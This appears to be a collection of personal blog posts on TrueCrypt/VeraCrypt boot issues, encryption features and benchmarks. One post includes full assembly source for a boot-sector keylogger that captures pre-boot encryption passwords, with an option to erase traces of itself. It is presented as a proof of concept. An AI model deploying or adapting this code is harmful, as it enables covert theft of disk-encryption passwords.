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Fixing VeraCrypt EFI Boot

I recently decided to swap around my hard drives to different SATA slots so my most used hard drives were on the fastest ports. Unfortunately, when I did this, my computer stopped booting to Windows. I never did figure out why my bootable EFI partitions only showed up randomly in BIOS depending on which hard drives were plugged in, but I found a configuration the computer liked and I was able to see the Microsoft Boot EFI partition and EFI boots on my USB keys.


The next step was to get the computer actually booting to something I could run commands on. When I try to boot directly to the EFI shell, the resolution is always screwed up and I can only see the top half of what should be visible, so I can’t actually see the command line I am typing too. This actually happens to everything I directly boot to that uses console text. The way around this for me is that I need to boot to the BIOS setup, and from there tell it to boot immediately to the EFI option of my choice when exiting the BIOS. From there, the proper resolution is used and everything is visible.


Next, in the EFI shell, you can run map to see all of the available possible mounts. This should automatically run when the EFI shell starts anyways, so you should already have that information. Any detected EFI partition on any bootable device should be given a mapping of “fs#” where # is a number. In my case, it was fs0. So to mount that, I ran mount fs0 x. “x” could be whatever you want, it doesn’t really matter. It’s analogous to a drive letter in windows, and you can make it any string (within reason, I believe anything alphanumeric should be fine). So next you would run x: to switch to that drive. From there, you can run cd EFI\Microsoft\Boot and then bootmgfw.efi to boot to windows.


Since I use VeraCrypt system encryption, I had to go to “EFI\VeraCrypt” and run DcsBoot.efi to finally boot into Windows through VeraCrypt.


Finally, to get the Windows Boot manager to start with VeraCrypt, run in the Windows command prompt bcdedit /set '{bootmgr}' path \EFI\VeraCrypt\DcsBoot.efi.

Hardware performance speed tests

So I got a new computer back in April and have finally gotten around to doing some speed tests to see how different applications and settings affect performance/harddrive read speed.


The following is the (relevant) computer hardware configuration:
  • Motherboard: MSI Z87-GD65
  • CPU: Intel Core i7-4770K Haswell 3.5GHz
  • GPU: GIGABYTE GV-N770OC-4GD GeForce GTX 770 4GB
  • RAM: Crucial Ballistix Tactical 2*8GB
  • 2*Solid state hard drives (SDD): Crucial M500 480GB SATA 2.5" 7mm
  • 7200RPM hard drive (HDD): Seagate Barracuda 3TB ST3000DM001
  • Power Supply: RAIDMAX HYBRID 2 RX-730SS 730W
  • CPU Water Cooler: CORSAIR H100i
  • Case Fans: 2*Cooler Master MegaFlow 200, 200mm case fan

Test setup:

I started with a completely clean install of Windows 7 Ultimate N x64 to gather these numbers.

The first column is the boot time, from the time the start of the "Starting Windows" animation shows to when the user login screen shows up, so the BIOS is not included. I used a stopwatch to get these boot numbers (in seconds), so they are not particularly accurate.

The second and third columns are the time (in seconds) to run a "time md5sum" on cygwin64 on a 1.39GB file (1,503,196,839 bytes), on the solid state (SDD) and 7200RPM (HDD) drives respectively. They are taken immediately after boot so caching and other applications using resources are not variables. I generally did not worry about running the tests multiple times and taking lowest case numbers. The shown milliseconds fluctuations are within margin of error for software measurements due to context switches.


Results:

Boot times are affected between multiple steps, as seen below, but not too bad. The only thing that affected the MD5sum was adding the hardware mirror raid on the SSDs, which dropped the time of the md5 by half. So overall, antivirus and system encryption did not have any noticeable affect on the computer's performance (at least regarding IO on a single file and number crunching).


Numbers:
What was added Boot SSD HDD Notes
Initial installation 4 - -
NIC Drivers and Cygwin 7 4.664 8.393 I'm not sure why the boot time jump so much at this point. The initial number might have been a fluke.
All Windows updates + drivers + 6 monitors 14 4.618 8.393 The boot time jumped up a lot due to having to load all the monitors
Raid 1 mirror[Windows] on SSDs + no page file 17 4.618 8.393 This was removed once I realized Truecrypt could not be used on a dynamic disk (Windows software) RAID
Raid 1 mirror[hardware] on SSDs + no page file 17 2.246 8.408
Truecrypt System Volume Encryption (SSD Raid Only) 17-18 2.278 8.424
Antivirus 18 2.324 8.408 Kaspersky 2014
BIOS Level Key Logger
More Boot Loader Fun

So I decided to play around more with boot loaders for a bit of fun and learning. I couldn’t come up with a good project to do, so I defaulted on writing a proof of concept for a TrueCrypt pre-boot authenticated volume key logger (again, see my last Boot Loaders post for more information).

Unfortunately, the key logger stops working once XP boots, and I’m not completely sure why yet. [reason]I think it has to do something with Windows using an Interrupt Descriptor Table instead of the Interrupt Vector Table, or overwriting the Interrupt Vector Table entry without calling the previous value. I may try and get it working for Windows (or any operating system) later, but I accomplished what I wanted to with this, so am not going to worry about it for now.

This is also just a proof of concept, so it isn’t full proof. It only records the first 512 keystrokes before Windows loads, and it also might not be easy to install without some knowledge of how it works.


I am providing an example installer in Perl which writes to a VMWare hard drive. It can easily be modify though to install to a real hard drive using either a boot loader, or when running Windows through CreateFile with the hard drive (requires administrative privileges).

Installing works as follows:
  • Copies the original boot loader sector (#0 of a hard drive) to an unused sector (In this case, #61 of the hard drive, which is the last unused sector by Truecrypt [Sector 62 contains the encryption key, and sector 63 is the first partition table] ).
  • Installs the compiled code to the boot loader sector.

Once installed, the key logger (v1.0 source) [v1.0 compiled binary] boot loader works as follows:
  • When the computer boots to the medium (hard drive, flash drive, CD, etc) with the installed code, it immediately runs the key logger installer.
  • It first copies itself from the boot loader location in memory (0x7C00) to a new location, and the original boot loader is loaded into the boot memory location to be run later, unaware that it wasn’t the first thing to load.
  • If requested (this is an option set by a variable), the key logger installer removes itself from the hard drive, erasing evidence of it ever being there. This means the key logger will only run from memory after the first time the machine is booted. This is not turned on by default.
  • It then installs a BIOS interrupt hook on the keyboard interrupt (0x9) to call the key logger.
  • The final step is to execute the original boot loader which is now at the boot loader location in memory.

The key logger works as follows:
  • When a key is pressed, the key logger code is called.
  • It first calls the original interrupt 0x9 keyboard handling code.
  • It then gets the last pressed key(s) from the bios keyboard buffer and saves them to the key logger save buffer (either as their ASCII character, or as their key code).
  • The save buffer is then written to a predefined location on the hard drive before the interrupt is returned as completed.
  • Currently, the key logger only records up to 512 keystrokes to a single hard drive sector.

The assembly code for the key logger is as follows:
;Copyright 2009 by Dakusan (http://www.castledragmire.com/Copyright)
;This is a boot loader keylogger (does not work once Windows XP loads)
;See http://www.castledragmire.com/Posts/BIOS_Level_Key_Logger for more information

ORG 0x7C00 ;Origin location

;Constants
Start:					;Where the program starts (0x7C00)
SectorSize equ 0x200		;Size of a sector (and the boot loader)

;User defined constants
	;Memory mappings
	NewStart equ Start+SectorSize				;Where the boot loader will be copied to in memory for execution
	WhereToRecord equ Start+SectorSize*2 	;Where to record key strokes in memory (the save buffer)

	;Hard drive mappings
	WriteSector equ 60				;The hard drive sector to write the last logged 512 keys too. Needs to be <63. This can be the same as "OriginalBootLoaderSector" if "EraseEvidence" is true
	OriginalBootLoaderSector equ 61	;The hard drive sector the original boot loader is written to
	EraseEvidence equ 0				;Boolean dictating whether to restore the original boot loader and clear out where it was copied

;More constants
CodeOffset equ NewStart-Start		;The code is actually offset this amount when copied to the new memory location

;Set up needed segment registers to point to 0
xor ax,ax
mov ds,ax
mov es,ax

;Copy this loaded boot loader to new location in memory and execute there
mov cx,SectorSize
mov si,Start
mov di,NewStart
rep movsb
db 0xe9								;Jump to...
dw CodeOffset						;...Location where code is moved to

;Copy the original boot loader from the hard drive back to the boot address in memory
mov ah,2							;Read instruction
mov dl,0x80							;Drive #0 (0x80-x)
mov al,1								;1 sector
xor dh,dh							;Head #0
xor ch,ch							;Track #0
mov cl,OriginalBootLoaderSector+1	;Sector to read from
mov bx,Start							;Memory location to write to
int 0x13								;BIOS drive function

;Zero out the save buffer
mov cx,SectorSize
mov di,WhereToRecord
xor al,al
rep stosb

;Erase this boot loader if requested by returning the hard drive's boot loader to its original state and clearing out its copy at OriginalBootLoaderSector
or al,EraseEvidence					;Check to see if user wants to erase the evidence (al=0 before this operation)
jz SkipEraseEvidence					;If false, do not do so
mov bx,Start							;The buffer to write (which is now the original boot loader)
mov cl,0+1							;Write to the first sector
call WriteToDrive						;Do the write to restore the original boot loader
mov bx,WhereToRecord				;The save buffer, which is zeroed out
mov cl,OriginalBootLoaderSector+1	;Write to where the original boot loader was stored
call WriteToDrive						;Do the write to erase the backup of the original boot loader
SkipEraseEvidence:

;Hook the keyboard interrupt
cli												;Disable interrupts
mov eax, [es:0x9*4]								;Grab the origial handler. Source=IDT::INT9. From Wikipedia: The IDT [Interrupt descriptor (Vector) table] "resides at a fixed location in memory from address 0x0000 to 0x03ff, and consists of 256 four-byte real mode pointers"
mov [es:OriginalInt9Handler+CodeOffset], eax		;And save it for later use
mov dword [es:0x9*4], Int9Hook+CodeOffset		;Install INT 9 filter
sti												;Enable interrupts

;An infinite test loop that will output typed characters to the screen, and never go to the original boot loader
;GetKeys:
;mov ah,0
;int 0x16
;mov ah,0xe ;Write ascii character to screen
;int 0x10
;cmp al,0xA
;jne GetKeys

;Execute the original boot loader
db 0xe9									;Jump to...
dw -CodeOffset-($-Start)-2				;...Original start, which now contains the original boot loader

;Keyboard hook
Int9Hook:
	pushf								;Since the original int handler will call iret, we need to push an extra layer of interrupt info on the stack
	DB 9Ah								;CALL FAR PROC SEGMENT:OFFSET
		OriginalInt9Handler dd 0			;The original Interrupt 9 handler (in segment:offset format [ror 16])

	;Save registers and zero out es
	pusha
	xor bx,bx
	mov es,bx

	;Get the character we are currently on in the save buffer, and if >512, do not record
	mov di,[es:CharacterOn+CodeOffset]	;di=The character we are currently on
	cmp di,512
	jge SkipInt9

	;Loop through the keyboard buffer
	mov esi,[es:0x41A]					;40:1A=Offset from 40:00 to keyboard buffer head, 40:1C=Offset from 40:00 to keyboard buffer tail
	add esi,0x04000400					;Beginning and end +=0x400, si=keyboard buffer head
	mov ecx,esi
	shr ecx,16							;cx=keyboard buffer tail
	mov bx,0x41E						;bx=The beginning of the keyboard buffer
	cmp si,cx							;Check if there are no characters to write (head==tail)
	je SkipInt9							;If there are no keys to write, jump to end
	WriteKey:							;Save a single keyboard character to our save buffer.
		;Save the character
		mov al,[es:si]					;Fetch the character, use es:si+1 to save the scancode instead
		mov [es:di+WhereToRecord],al	;Save the character
		;Update where we are in the save buffer and make sure we are not at the end (>512)
		inc di							;Update where we are in the buffer
		cmp di,512
		jge FinishedKeyboardBuffer

		;Move to the next character in the keyboard buffer and if we are not at the end, write the next character
		add si,2							;Move to the next character in the keyboard buffer
		cmp si,0x43E					;If we have exceeded the keyboad buffer length...
		cmovge si,bx						;...loop back to the beginning
		cmp si,cx						;If there are still more characters to write (head<tail)
		jl WriteKey						;Write the next character
	FinishedKeyboardBuffer:

	mov [es:CharacterOn+CodeOffset],di	;Update where we are in the save buffer

	;Write the updated keylogger to the harddrive
	mov cl,WriteSector+1					;Sector to write to
	mov bx,WhereToRecord
	call WriteToDrive

	;Clean up from the interrupt
	SkipInt9:
	popa
	iret

;Write to drive function. Parameters: es:bx=Buffer, cl:Sector to write
WriteToDrive:
mov ah,3			;Write instruction
mov dl,0x80			;Drive #0 (0x80-x)
mov al,1				;1 sector
xor dh,dh			;Head #0
xor ch,ch			;Track #0
int 0x13				;BIOS drive function
ret					;Return from function

;Variables
CharacterOn dw 0	;What character we are on in the character buffer

;Fill out up to 0x1BE, where the partition information starts, with 0s. This cleans up unused information
times 0x1BE-($-$$) db 0 ;Fill the rest with zeros
My New Boot Loader
Hijack it at the beginning

I have been a proponent and user of pre-boot authentication volume (hard drive) encryption for quite a while now, but there is one security hole in it that always bugged me. This is the fact that the boot loader (the code at the beginning [sector 0] of the hard drive that starts the computer [usually loads the operating system]) is unencrypted itself and can be tampered with. Even though the encrypted data is completely safe from reading without a password, the password itself could be hijacked from someone modifying the boot loader and having it record your password when you type it. This hack could also be made hard to detect because the original boot loader could be restored from the hijacked one after the damage is done.

I decided this was a moot point for a long time, until I saw it got slashdotted. This prompted me to finally change my security model slightly so I was no longer vulnerable to this problem. The appropriate method is to always use a known secure TrueCrypt rescue disk, which contains its own boot loader, to boot the hard drive. Unfortunately, CDs are a bit cumbersome to always keep around. The workaround for me was to use a bootable USB Flash Drive instead, as I keep it on my keychain which is always with me. Getting the TrueCrypt boot loader to work from the flash drive was not easy at all due to how bootable flash drives work (they take the hard drive #0 slot in BIOS, which Windows doesn’t like). It took some GRUB4DOS magic to get things going, but it all ended up working out :-).

I removed the TrueCrypt boot loader from my hard drive so I would not be tempted to use it, and would always use the flash drive. This left the boring message of “Error loading operating system” upon booting without the flash drive, which I just couldn’t stand, so I decided to have some fun writing my own “Operating System Not Found” boot loader :-).


Video Notes:
  • It’s a lot harder to spot the hidden text string from the video than from the actual thing x.x;
  • The boot loader was ran through a virtual machine (VMWare) so I could easily record it.

Here is the code for the boot loader (in assembly), and here is the compiled boot loader which can be placed in the boot sector of any bootable medium (Hard Drive, USB Flash, CD, etc).


Warning:

Do not attempt to replace the boot loader on your hard drive without knowing what you are doing, as this is a very dangerous operation that can make your computer unbootable. Always back up your boot loader before making modifications to it so you can easily restore it. Also, when writing a boot loader, do not overwrite bytes 0x1BE-0x1FD of your boot sector as they contain important partition information.



Useful Wikipedia references: INT 10 (BIOS interrupt call for video services), BIOS Color Attributes
Truecrypt 6.0 fixes
I was too quick to judge
TrueCrypt 6.0 [latest version] came out today, and I was looking at the version history. I mention this because I wrote a post about TrueCrypt 5.0 (3 days after it was released, on February the 5th of this year) and the problems I was having with it. I was not aware that after I submitted the bugs to them, they fixed the 2 important ones I reported (See 5.0a history) 4 days after I wrote the post, which were:
  • On computers equipped with certain brands of audio cards, when performing the system encryption pretest or when the system partition/drive is encrypted, the sound card drivers failed to load. This will no longer occur. (Windows Vista/XP/2003)
  • It is possible to access mounted TrueCrypt volumes over a network. (Windows)
I am quite impressed that they did this so quickly, and am sad I did not find out until now. They also fixed the other missing feature I reported to them within a month of that [version 5.1]
  • Support for hibernation on computers where the system partition is encrypted (previous versions of TrueCrypt prevented the system from hibernating when the system partition was encrypted). (Windows Vista/XP/2008/2003)

Also in the version history [5.1a], this little paragraph made me smile
  • [Update 2008-04-02: Although we have not filed any complaint with Microsoft yet, we were contacted (on March 27) by Scott Field, a lead Architect in the Windows Client Operating System Division at Microsoft, who stated that he would like to investigate our requirements and look at possible solutions. We responded on March 31 providing details of the issues and suggested solutions.]

Other very important features they have added for version 6.0 that I am super happy about:
  • Hidden operating systems, which is done in a really well way.
  • Embedded backup header (located at the end of the volume)
  • Up to 20% faster resuming from hibernation when the system partition/drive is encrypted. (As I have always been super frustrated by super slow hibernation resume support on my now abandoned partition encryption software suite, BestCrypt.)
  • Multithreading support (Faster parallel processing, yay)

I did some speed tests of hibernation support in XP and got the following numbers: (Results are averages of at least 5 tests, in seconds)
Test SetupHibernationWakeup
VMWare* w/ no encryption~5.0~6.1
VMWare* w/ TrueCrypt 6.0 full drive encryption~7.5~11
VMWare* w/ TrueCrypt 6.0 decoy & dummy encryption~7.3~13.2
Laptop** w/ no encryption~12.84.8
Laptop** w/ BestCrypt Volume Encryption~92.1~16.6
Laptop** w/ TrueCrypt 6.0 full drive encryption~12.5~13.9
Laptop** w/ TrueCrypt 6.0 decoy & dummy encryption--
*VMWare was running with 256MB of RAM and 1 virtual CPU on Laptop**. VMWare results were not always stable due to other processes on the host machine, so I terminated the worst offenders
**Laptop is a 2.4ghz Pentium Core Duo with 2GB RAM and 60GB hard drive running at 7200RPM


ANYWAYS... The hidden operating system feature really excited me. Unfortunately, the documentation on it is quite cryptic itself, so I thought I’d try explaining it myself. TrueCrypt hidden operating system diagram
TrueCrypt hidden OS diagram taken from http://www.truecrypt.org/docs/hidden-operating-system.php on 7/5/2008 and belongs to TrueCrypt

The decoy (first) partition holds a decoy OS and is accessible from the password prompt (password #3) at bootup. You should not have any sensitive data in it, and can give out the password if need be. TrueCrypt recommends using this decoy OS at least as much as the hidden OS so if someone checks out the decoy they are not suspicious of it. If the perpetrator is suspicious of the decoy due to non use, the size of the partition, or just the fact that you have TrueCrypt installed, you may need to fall back onto the second stage of the security in the below paragraph.

The outer (second) partition holds some decoy files and a hidden volume inside of it. It is accessible by either the decoy or hidden OS by opening the partition through a normal TrueCrypt device mounting (password #1). It is recommended to give out its password only if you have already been forced to mount your decoy OS and the perpetrator suspects a secure partition as is explained in the above paragraph. If any data is written to it after creation, it can destroy information at random within the Hidden OS (see “Partition Sizes” at the bottom).

The hidden partition holds its own OS and is hidden within the outer (second) partition. It is accessible from the password prompt (password #2) at bootup or by mounting the partition from TrueCrypt as a device when the decoy OS is open. The decoy partition/OS is NOT accessible while the hidden OS is open.


Basic installation procedure:
  • Create a computer with 2 partitions. The second (outer) partition must be 5% larger than the first (decoy) for a FAT file system, or 110% (2.1x) larger for a NTFS file system (see “Partition Sizes” at the bottom). You might as well make the outer partition FAT since it won’t be used much, if at all, and this won’t affect the hidden partition.
  • Install your operating system on the first (decoy) partition with all of your applications and data that are not sensitive.
  • Run the TrueCrypt hidden install, this does the following:
    • Asks for outer volume password (Password #1). Creates and formats the second (outer) partition/volume.
    • Lets you copy some “sensitive looking” files to the outer partition. Nothing should ever be changed or added to the outer partition after this, see “Partition Sizes” at the bottom.
    • Asks for hidden volume password (Password #2). The hidden partition is created within the outer partition.
    • Asks for decoy volume password (Password #3).
    • Rescue disk is created
    • All data from the first (decoy) partition is copied to the hidden partition, and then all data from the first (decoy) partition is encrypted.

And finally, things that bugged me, because I like to vent :-) :
  • Forced creation of rescue disk on full volume encryption. Having the file is more than enough since it can be copied to other hard drives, but it wanted proof of the rescue disc creation, so I just mounted the ISO to a virtual drive.
  • No customized pre-boot screens. This isn’t important really, but I loved my hokie ASCII art ^_^;.
  • Partition sizes: The hidden OS partition will be the exact same size as the decoy and the outer partition must be at least 5% larger for FAT and 110% larger for NTFS than the decoy.

Partition sizes:

The hidden OS partition will be the exact size as the decoy partition because they are originally duplicates of each other, including their original partition tables, which include the size of the partition.

The outer (second) partition that holds the hidden partition must be at least 5% larger for FAT and 110% larger for NTFS than the decoy. The reason for this is the file contents tables. NTFS, unfortunately in this case, stores its file table in the middle of the partition. The outer partition’s file table does not, however, affect the hidden partition in any way.

So, for example (these numbers are theoretical, I am not entirely sure if these are correct), if we have a 2GB decoy partition, the outer NTFS partition must be at least 4.2GB and the hidden partition will be 2GB. If we made the outer partition 6GB, then 0-3GB would be writable, 3.0GB-3.6GB would be used for the file table, 3.6GB-4.0GB would be writable, and 4.0GB-6.0GB would be used by the hidden operating system. So, theoretically, you could write 3.4GB to the outer volume before problems started occurring, but I wouldn’t trust NTFS to only write to the beginning of the drive.

Truecrypt 5.0 tribulations
Adopting programs at release is often a bad idea

Just as is the case with windows, where you never install before at least the first service pack is released, so is the case with TrueCrypt, it seems.


TrueCrypt is open source, which is a major plus, and in my opinion, the best solution for encrypting data.  In a nutshell, TrueCrypt allows the creation of encrypted “container files” that when mounted act as a hard drive partition, accessible through a password and/or a key file.  The encryption, security, and speed are all top notch and the program runs completely transparent to the user after volume mounting, so I would highly recommend the program to anyone that has anything at all to hide :-).

It also has some other useful options like the ability to encrypt USB flash cards for opening at other locations without having TrueCrypt installed, and “hidden container files” in which a second hidden volume is contained within the same container, unlockable by a separate password/key file, which is great for plausible deniability.  I have been always been a fan of TrueCrypt since I first found and adopted it years ago, and would highly recommend it.


Unfortunately, TrueCrypt 5.0, which was just released a few days ago, does not yet meet quality standards.  It does all the old stuff it used to of course, and adds some great new features, but the multiple bugs I have found are forcing me to revert to an older version of it, and back to other 3rd party applications I have been using for other types of encryption.


The new feature, which I’ve been looking forward too for ages is pre-boot authentication volume encryption, which basically means encrypting 100% of your hard drive (partition) that contains Windows (or another OS) on it so you only have to put in your password during boot, and EVERYTHING is encrypted and safe, and impossible (by today’s standards) to access before the password is put in.  This is especially important for laptops due to the increased likelihood of it falling into others’ hands through loss or theft.  Unfortunately, full volume encryption has broken 2 things; the ability to put my laptop into hibernation (which was also a problem with other volume encryption programs I’ve tried in the past), and oddly enough, it broke my audio drivers so I have no sound XD.  So, I’m reverting back to BestCrypt Volume Encryption [v1.95.1], which I’ve also been using for quite a while, that does the same thing, but allows hibernation.  My only beefs with it are that it’s closed source, something that isn’t usually a problem in my book, but is for this case [security], and that hibernation is SLOW, probably due to the fact that it can no longer use DMA, due to needing to pass data through the CPU for encryption.  Another, technically not so important, feature TrueCrypt doesn’t include yet that most other volume encryption pre-boot authentication packages include is customized boot password prompt screens.  I’ve included my incredibly dorky screens (for BestCrypt Volume Encryption) below :-D.

The other thing that is broken, oddly enough, forcing me to revert to TrueCrypt 4.3a, is I can’t mount containers over a network anymore through Windows File and Print Sharing :-\.  Ah well, hopefully they’ll get these things fixed soon enough.



My boot password prompt, and no, I will not explain it, except that DarkSide was my previous computer handle a very good number of years ago.
My Boot Prompt

A boot prompt I made for a female friend, weeee, ASCII art ^_^;.
Friend’s Boot Prompt

And for reference, the ASCII chart.
ASCII chart
Note that when creating a screen for BestCrypt Volume Encryption, the characters 0x08 0x09 0x0A 0x0D are all invalid. The “&” is used to place the password prompt.

One other Volume Encryption I tried, which was just about as good, though I do not recall if it allowed hibernation, was DriveCrypt Plus Pack [v3.90G]. It also allowed bitmaps [pictures] for the boot password prompt screen.